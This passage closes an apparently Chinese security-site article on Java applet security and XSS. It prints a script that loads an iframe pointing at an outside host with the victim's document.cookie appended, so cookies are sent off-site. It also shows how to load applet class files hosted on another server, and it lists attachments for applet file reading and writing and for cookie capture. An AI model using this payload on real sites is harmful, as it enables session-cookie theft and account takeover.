网络安全 频道

Java applet 安全性探究

  如果步骤一的条件有出入,没有可以储存东西的地方,你可以尝试以下代码绕过AJAX的跨域限制:

<iframe id="iframe_kxlzx" width="10" height="10"></iframe>
  
<script>
    document.getElementById(
"iframe_kxlzx").src="http://www.inbreak.net/blog/default.asp?cookies="+document.cookie;
  
</script>

  以上步骤不仅仅可以应用于applet,还可以在js中实现。可以实现以上步骤的代码,本文已经写的够多了,请在楼上找吧。

  作者技术有限,目前研究到这里,给大家个研究方向:往applet底层实现进发,研究能绕过applet权限的函数,去年就出了一个。实践出真知,作者的研究思路一定不是最好的,甚至文中或许还会有错误,但是文中代码都是作者通过无数次实践,才精挑细选出了最能说明问题的部分,希望能对大家有所帮助。

  最后发几个小技巧:
  1、跨域调用class文件。突破XSS的时候,如果不能上传class文件(通常都不可以),就可以把class文件放在其他地方。把class文件放在其他服务器上调用,有了这个功能,更利于我们没有限制的跨域调用class文件。

<applet>标签中,如果class文件在“http://www.inbreak.net/toolss/Ghost.class”
要这样写:
<applet codebase="http://www.inbreak.net/toolss/" code="Ghost.class" width="300" height="200">

  2、调试的时候,如果编译好了class文件,之后修改类,又重新编译了class文件,一定要关闭浏览器重新打开,才能看到新的效果。因为浏览器有缓存,同样会缓存class文件,如果不清空缓存或重新打开浏览器,就等于使用了原来的class文件。

  3、调试的时候,一定要仔细考虑到整个流程执行顺序,特别是当你以为自己不小心发现“0day”的时候。

  4、最后提醒,applet只能执行在JVM环境中。
  参考文献:
  《浅析浏览器的跨域安全问题》 Ph4nt0m Security Team  rayh4c
  《Java security evolution and concepts, Part 3: Applet security》 Raghavan N. Srinivas
  《Applet Security》 SUN官方
  《Java 2 Applet Security》 Abdul Habra, 2.7.2000
  《JDK帮助》

  附件说明:
  a.asp -------    接收变量,保存内容为kxlzx.txt的页面
  Applet_ODBC.java  -------- 使用applet链接access数据库的代码
  Applet_Control_Open.java -------- 父窗体控制子窗体到处访问的代码
  Oday.java ----------  第一部分提到的0day
  ReadFile.java  --------  applet读文件
  writeFile.java  ---------  applet写文件
  Xss.java  -----  控制子窗口弹cookie
  test2.htm  ------  文中提到的加载applet页面
  php.php  -----  没有这个文件,因为它代码改来改去的,文中找吧。

        文中提到的附件下载地址:

        http://www.ixpub.net/thread-862680-1-1.html

0
相关文章